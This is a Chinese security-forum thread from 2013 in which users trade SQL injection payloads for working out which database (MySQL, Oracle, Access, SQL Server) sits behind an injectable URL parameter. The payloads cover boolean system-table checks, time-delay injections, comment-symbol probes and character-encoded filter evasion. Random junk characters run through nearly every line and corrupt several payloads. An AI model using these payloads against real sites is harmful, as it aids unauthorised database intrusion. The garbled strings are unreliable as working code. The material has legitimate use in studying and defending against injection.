找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1881|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库* T/ Y8 i. \; x- E  T
xsser (十根阳具有长短!!) | 2013-02-05 12:36
2 h# p, ~+ [5 x, e" u" \7 t假设这么一个注射点:$ y( H  y  d2 m, n
show.html?id=2, \0 _" a1 K, {( f5 B; G
mysql:id=2 and version()>0) ?% B$ [/ Z; Q& D2 ^) j2 |5 Z; e
oracle:id=2 and '1'||'1'='11
+ b2 d0 c: H7 ^" N, ~# K2 K其他的欢迎补充
6 z# Q7 h7 W* J( Q2 E3 L1#" {  T8 Z0 Y4 w5 a
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
$ P& F/ }( w# L3 }Access:
6 l  @) B8 R3 L3 H) X+ C1 haNd aSc(cHr(97))=978 i* e8 \$ M& N4 E4 X" J2 g
and exists(select id from MSysAccessObjects)+ n2 D+ O: m0 \+ H: U! h" \
SQL Server:+ i$ [% t# d% e+ T! y, p! `* C
and exists(select id from sysobjects)2 G4 _0 a$ @  x# k. k
and length(user)>0
+ s! G  z3 T- E8 bMySQL:  s: f* W5 T' {4 d( M1 F
and length(user())>0. I% t/ r0 E* M% H4 k
2#8 ~! m  V" b" J5 }8 r8 F
xsser (十根阳具有长短!!) | 2013-02-05 12:48% x7 U; Q; ?9 x
@upload 如果这些都不是呢…
0 D( P  N# Z/ d+ m3#, u+ ^# b  e2 k: [; S4 R) i$ x: W
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03( b6 _- n' T8 z4 J" F
@xsser 不快速的,延时注入
" d2 ~) K' f5 ]5 ?: d( X不知道这样写对不对9 i: M; H! _1 A6 F5 l0 ]' v
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'- n0 F. l: i) u% N3 E
mysql:id=2 and select benchmark(1e8,current_date());+ F% x4 p- i9 [: v0 v- o
4#
& R9 _$ |9 |* v, i5 H& [7 H# Mupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10, k0 |( q9 f2 q( X4 ]/ z; C6 v
最快的貌似是看报错信息
( o/ K# ]' i0 ~' E8 a  c" Voracle error
3 L$ l3 u, J& [8 S4 hmssql error" e* W; B' x; @6 ~% i
mysql error
* y% G& H9 r& _7 Q* O7 F  f5#  F) t5 \: I* Y8 V- m
Nimda (你们都是坏银~) | 2013-02-05 13:142 v1 i" G. y" R3 B3 _
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)( u, D: G5 H/ H- \/ J
6#: }% L7 z8 V( U! }# T
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
4 r; D' K$ q6 d- {1 ^2 ^; Q  e“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:+ i- k6 I5 \# k8 O" P) w
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:4 e3 n8 O8 D  q7 p3 @
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。+ [! m5 X$ Z5 }0 g  J
7#+ U* b9 m1 B! A& A& F; F
_Evil (HackEnd) | 2013-02-05 13:33
& F; q% m* G1 m1 y. a8 yPostgreSQL
7 J' W# ?! F1 a4 p2 v+ X/ ~+ o8#
* H& b1 {0 f2 Cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
% e' ]& d; j8 z5 u切换编码 and 1=16 l" c  W/ J' K8 y. t% d! G4 F
oracle:) h: J- C  h" \3 J5 N1 T6 y3 v
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
# r! Q8 O# I' mmssql:; K6 k" m+ }; @" y. y7 d% m
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
0 L; P% K9 s. s2 wmysql:
# a6 @5 U: E; U1 U. VCHAR(97, 110, 100, 32, 49, 61, 49)9 s% ]2 O/ e8 n3 q
9#' G9 V5 p- Z4 y3 ]7 D
xsser (十根阳具有长短!!) | 2013-02-05 14:318 l% `. N/ z5 [" A& x) Z6 Q4 y8 u
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
1 {4 W$ ?7 i5 [5 p$ A1 k10#
" e  M9 E0 @& l2 Eupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46' f4 Y+ W9 m3 l" _0 J
@xsser 是奇葩数据库类型的么?
  Y, Q& l* j/ g% k* U  u2 g$ F, r根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:+ O& t5 Y8 E" \# ~; `
1.是否可以使用特定的函数来判断,该数据库特有的
+ s$ O$ O  x5 `: w# T8 C2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
  k* C" g9 g4 ]$ i1 v3.是否可以编码查询
/ |+ T1 l2 R& ~+ O4.是否显可以利用错信息/ i  T, M! c3 K
5.是否存在数据库某些特性辅助判断
* r" L. Z$ N4 }% U5 I个人见解
' ?% W" |- V8 _+ G7 V/ t11#1 O: [- L- o! L9 B/ o' [* |
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55" y0 l- G$ v1 s
已收藏,mssql可以直接看到错误提示的吧~
( r  P$ Q7 a/ F9 o! C12#
& ^% d6 X4 X/ a7 _3 G! fPasser_by | 2013-02-05 15:09( k# D, e& a5 K& H7 h- n
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
% V# s4 C5 L8 d; g2 E4 I  m+ Cfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表